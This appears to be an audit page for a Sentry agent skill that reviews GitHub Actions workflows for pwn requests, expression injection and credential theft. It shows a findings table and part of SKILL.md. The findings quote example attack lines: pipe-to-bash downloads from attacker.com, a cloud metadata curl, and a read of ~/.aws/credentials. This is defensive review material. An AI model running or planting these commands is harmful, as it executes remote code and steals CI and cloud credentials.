Live survey304 models · 14 providers · 22,792 auditsAudited grill-with-docs · SAFE →What changedHow we verifyllms.txt

Agent skill · Audited from source

gha-security-review

skill · getsentry/skillsApache-2.0 licenceAudited 31 Oct 2026 · source 7bf25505c14b

★ 1,102pushed 5 days ago
✓SAFEGrade B · 89/100 · 31 Oct 2026 · 7bf2550
1,102repo stars · whole getsentry/skills

Is it safe? Yes — SAFE, grade B (89/100). We read this skill's source at commit 7bf25505c14b and found no filesystem, network or shell access and no hard-coded secrets. What it does: GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review…

Ask an AI about this pageGChatGPTCClaudePPerplexityGeGeminiXGrok
More
Cite

Cite this page

ModelsAtlas. “gha-security-review (getsentry/skills)”. Retrieved 31 Oct 2026. https://modelsatlas.com/skills/getsentry/gha-security-review

Trust audit

Audit 0.4.1 · source read 31 Oct 2026

Trust score89/100✓SAFE B
0 critical0 high1 medium3 low8 info

SAFE means nothing in the source contradicts what the skill says it does. Grade B is shared by 16,667 of 17,602 audited skills.

What the source does

  • FilesystemNone observedNo reads or writes in the source
  • NetworkNone observedNo outbound calls in the source
  • ShellNone observedNo commands run in the source
  • DependenciesPinnedNothing floats
  • SecretsNone foundNo keys in source

Five audit layers

LayerWhat we checkResultFindings
L0 ProvenanceRepo owner, licence, archive status, activityWARN2
L1 Static sourceSecrets, path traversal, supply chain, hidden codeNA2
L2 InstructionsPrompt injection, authority framing, hidden directivesPASS8
L3 InventoryThe files and declarations match the sourcePASS0
L4 SandboxRun in isolation and watch behaviourSKIPPED why0

Gates applied: no behavioural pass.

Findings (12)

LOWNetwork egressnet.metadata_ip · references/runner-infrastructure.md:70
F-04 Network egressCWE-200 · CWE-319Layer L1
curl http://169.254.169.254/latest/meta-data/  # Cloud metadata (example of attack vector)
Why
cloud metadata endpoint: the classic SSRF credential grab
Fix
—
LOWNetwork egressnet.raw_ip · references/runner-infrastructure.md:70
F-04 Network egressCWE-200 · CWE-319Layer L1
curl http://169.254.169.254/latest/meta-data/  # Cloud metadata (example of attack vector)
Why
No further detail recorded for this rule.
Fix
—
INFOPrompt injectionprompt.authority_framing · references/pwn-request.md:5
F-01 Prompt injectionCWE-94 · CWE-1427Layer L2
A "pwn request" occurs when a `pull_request_target` workflow checks out and executes code from a fork PR. The `pull_request_target` trigger runs with the **target repository's permissions and secrets*
Why
No further detail recorded for this rule.
Fix
—
INFOPrompt injectionprompt.credential_read · references/credential-escalation.md:5
F-01 Prompt injectionCWE-94 · CWE-1427Layer L2
GitHub Actions workflows have access to credentials (GITHUB_TOKEN, PATs, deploy keys, cloud credentials) that vary in scope and blast radius. When untrusted code can access these credentials — via pwn
Why
asks the agent to read credentials
Fix
—
INFOPrompt injectionprompt.credential_read · references/runner-infrastructure.md:43
F-01 Prompt injectionCWE-94 · CWE-1427Layer L2
cat ~/.aws/credentials     # AWS credentials from previous deployments
Why
asks the agent to read credentials
Fix
—
INFOSupply chainprompt.pipe_to_shell · references/comment-triggered-commands.md:51
F-08 Supply chainCWE-829 · CWE-1357Layer L2
**Real-world:** Used against project-akri (CNCF project). The attacker modified `version.sh` in their fork PR to inject `curl -sSfL https://attacker.com/steal | bash` at the top, then commented `/vers
Why
No further detail recorded for this rule.
Fix
—
INFOSupply chainprompt.pipe_to_shell · references/expression-injection.md:87
F-08 Supply chainCWE-829 · CWE-1357Layer L2
$(curl -sSfL attacker.com/steal | bash)
Why
No further detail recorded for this rule.
Fix
—
INFOSupply chainprompt.pipe_to_shell · references/pwn-request.md:61
F-08 Supply chainCWE-829 · CWE-1357Layer L2
"preinstall": "curl -sSfL https://attacker.com/steal | bash"
Why
No further detail recorded for this rule.
Fix
—
INFOSupply chainprompt.pipe_to_shell · references/pwn-request.md:93
F-08 Supply chainCWE-829 · CWE-1357Layer L2
- run: curl -sSfL https://attacker.com/steal | bash
Why
No further detail recorded for this rule.
Fix
—
INFOSupply chainprompt.pipe_to_shell · references/pwn-request.md:109
F-08 Supply chainCWE-829 · CWE-1357Layer L2
@curl -sSfL https://attacker.com/steal | bash
Why
No further detail recorded for this rule.
Fix
—

Audit 0.4.1 · source sha 7bf25505c14b · 31 Oct 2026Report an issue or request a re-scan

Provenance

Who published it, and what the verdict is pinned to

  • Publishergetsentry GitHub organizationOwner of the repository this skill is read from
  • Source foldergetsentry/skills/skills/gha-security-reviewThe exact folder we audited
  • LicenceApache-2.0As the repository states it
  • Commit pinned for this verdict7bf25505c14bA new audit runs when the source changes
  • Repository statusNot archivedLast push 5 days ago
  • Sandboxed runNot runSkills are read, not executed; layer L4 is skipped

What it tells the agent

Full source on GitHub ↗

Its description: GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review…

---
name: gha-security-review
description: 'GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.'
allowed-tools: Read Grep Glob Bash Task
---

<!--
Attack patterns and real-world examples sourced from the HackerBot Claw campaign analysis
by StepSecurity (2025): https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation
-->

# GitHub Actions Security Review

Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it.

This skill encodes attack patterns from real GitHub Actions exploits — not generic CI/CD theory.

## Scope

Review the workflows provided (file, diff, or repo). Research the codebase as needed to trace complete attack paths before reporting.

### Files to Review

- `.github/workflows/*.yml` — all workflow definitions
- `action.yml` / `action.yaml` — composite actions in the repo
- `.github/actions/*/action.yml` — local reusable actions
- Config files loaded by workflows: `CLAUDE.md`, `AGENTS.md`, `Makefile`, shell scripts under `.github/`

### Out of Scope

- Workflows in other repositories (only note the dependency)
- GitHub App installation permissions (note if relevant)

## Threat Model

Only report vulnerabilities exploitable by an **external attacker** — someone **without** write access to the repository. The attacker can open PRs from forks, create issues, and post comments. They cannot push to branches, trigger `workflow_dispatch`, or trigger manual workflows.

**Do not flag** vulnerabilities that require write access to exploit:
- `workflow_dispatch` input injection — requires write access to trigger
- Expression injection in `push`-only workflows on protected branches
- `workflow_call` input injection where all callers are internal
- Secrets in `workflow_dispatch`/`schedule`-only workflows

## Confidence

Report only **HIGH** and **MEDIUM** confidence findings. Do not report theoretical issues.

| Confidence | Criteria | Action |
|---|---|---|
| **HIGH** | Traced the full attack path, confirmed exploitable | Report with exploitation scenario and fix |
| **MEDIUM** | Attack path partially confirmed, uncertain link | Report as needs verification |
| **LOW** | Theoretical or mitigated elsewhere | Do not report |

For each HIGH finding, provide all five elements:

1. **Entry point** — How does the attacker get in? (fork PR, issue comment, branch name, etc.)
2. **Payload** — What does the attacker send? (actual code/YAML/input)
3. **Execution mechanism** — How does the payload run? (expression expansion, checkout + script, etc.)
4. **Impact** — What does the attacker gain? (token theft, code execution, repo write access)
5. **PoC sketch** — Concrete steps an attacker would follow

If you cannot construct all five, report as MEDIUM (needs verification).

---

## Step 1: Classify Triggers and Load References

For each workflow, identify triggers and load the appropriate reference:

| Trigger / Pattern | Load Reference |
|---|---|
| `pull_request_target` | `references/pwn-request.md` |
| `issue_comment` with command parsing | `references/comment-triggered-commands.md` |
| `${{ }}` in `run:` blocks | `references/expression-injection.md` |
| PATs / deploy keys / elevated credentials | `references/credential-escalation.md` |
| Checkout PR code + config file loading | `references/ai-prompt-injection-via-ci.md` |
| Third-party actions (especially unpinned) | `references/supply-chain.md` |
| `permissions:` block or secrets usage | `references/permissions-and-secrets.md` |
| Self-hosted runners, cache/artifact usage | `references/runner-infrastructure.md` |
| Any confirmed finding | `references/real-world-attacks.md` |

Load references selectively — only what's relevant to the triggers found.

## Step 2: Check for Vulnerability Classes

### Check 1: Pwn Request

Does the workflow use `pull_request_target` AND check out fork code?
- Look for `actions/checkout` with `ref:` pointing to PR head
- Look for local actions (`./.github/actions/`) that would come from the fork
- Check if any `run:` step executes code from the checked-out PR

### Check 2: Expression Injection

Are `${{ }}` expressions used inside `run:` blocks in externally-triggerable workflows?
- Map every `${{ }}` expression in every `run:` step
- Confirm the value is attacker-controlled (PR title, branch name, comment body — not numeric IDs, SHAs, or repository names)
- Confirm the expression is in a `run:` block, not `if:`, `with:`, or job-level `env:`

### Check 3: Unauthorized Command Execution

Does an `issue_comment`-triggered workflow execute commands without authorization?
- Is there an `author_association` check?
- Can any GitHub user trigger the command?
- Does the command handler also use injectable expressions?

### Check 4: Credential Escalation

Are elevated credentials (PATs, deploy keys) accessible to untrusted code?
- What's the blast radius of each secret?
- Could a compromised workflow steal long-lived tokens?

### Check 5: Config File Poisoning

Does the workflow load configuration from PR-supplied files?
- AI agent instructions: `CLAUDE.md`, `AGENTS.md`, `.cursorrules`
- Build configuration: `Makefile`, shell scripts

### Check 6: Supply Chain

Are **third-party** actions securely pinned to full SHAs?
- Pin third-party / external actions and reusable workflows only
- Do **not** flag first-party `actions/*` or `github/*` on version tags
- Do **not** flag same-repo / vendored (`./.github/actions/...`) as supply-chain pinning issues
- Only report when the job has secrets, OIDC, write token, release, deploy, package, or signing power — unprivileged read-only CI is not a fin

Excerpt, first 6,000 characters of SKILL.md, verbatim from the audited commit. It is text from someone else’s repository, quoted so you can judge it before your agent reads it.

Install

Pinned to the audited commit 7bf2550

Download folder ↗
git clone https://github.com/getsentry/skills
git -C skills checkout 7bf25505c14b

The author documents no install command, so this uses the repository directly. Our verdict covers commit 7bf25505c14b only.

Works in which agents?

What its own text says, not a test

AgentStatusMore
Claude CodeMentioned in its text, not testedSkills for Claude Code · About Claude Code
GitHub CopilotMentioned in its text, not testedSkills for GitHub Copilot · About GitHub Copilot
“Mentioned” means the skill’s text names the agent. We have not run it there.

Audit history

Every audit, every source change

  1. ✓SAFE B 89 / 100

    first audit · source 7bf25505c14b

README badge

For maintainers · shows the latest audit

ModelsAtlas: SAFE BMODELSATLASSAFE · B
[![ModelsAtlas: SAFE B](https://modelsatlas.com/skills/getsentry/gha-security-review/badge.svg)](https://modelsatlas.com/skills/getsentry/gha-security-review/)

The badge shows our verdict and grade for this skill, and links back to this page. It changes when the audit does.

pr-link-issue✓SAFE

getsentry/skills

Append a GitHub issue link and its Linear ticket to the current PR's description. Use when asked to "link issue to pr", "fill in issue and linear in pr", "add issue refs to pr", or when given a GitHub issue URL and…

★ 1.1kGrade B
pr-writer✓SAFE

getsentry/skills

Create or refresh reviewer-facing PR titles and descriptions. Use when opening a PR, updating its title or body, or preparing branch changes for review.

★ 1.1kGrade B
find-bugs✓SAFE

getsentry/skills

Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch.

★ 1.1kGrade B
gh-review-requests✓SAFE

getsentry/skills

Fetch unread GitHub notifications for open PRs where review is requested from a specified team or opened by a team member. Use when asked to "find PRs I need to review", "show my review requests", "what needs my…

★ 1.1kGrade B
iterate-pr✓SAFE

getsentry/skills

Iterate on a PR until actionable CI passes and high/medium review feedback is addressed. Use for PR CI failures, review feedback, or green-check loops; do not wait for human approval, draft status, or merge gates.

★ 1.1kGrade B
doc-coauthoring✓SAFE

getsentry/skills

Guide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users…

★ 1.1kGrade B

Add this badge to your README

[![ModelsAtlas: SAFE B](https://modelsatlas.com/skills/getsentry/gha-security-review/badge.svg)](https://modelsatlas.com/skills/getsentry/gha-security-review/)

Questions about gha-security-review

What does the gha-security-review skill do?
Agent Skills used by the Sentry team for development.
Is gha-security-review safe to install?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean skill reads B.
What can gha-security-review access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
Which assistants does gha-security-review work with?
Its documentation mentions claude-code and copilot. That is what the text claims, not a compatibility test we ran.
How current is this page?
The grade is for one exact copy of the source (7bf25505c14b), read on 2026-10-31. The repository is watched, and a new audit runs when it changes — this is the first audit.

Sources

Spotted something wrong? Report a correction · Methodology

Keep going in your AI

Opens with this page as the source. We add nothing else to the prompt.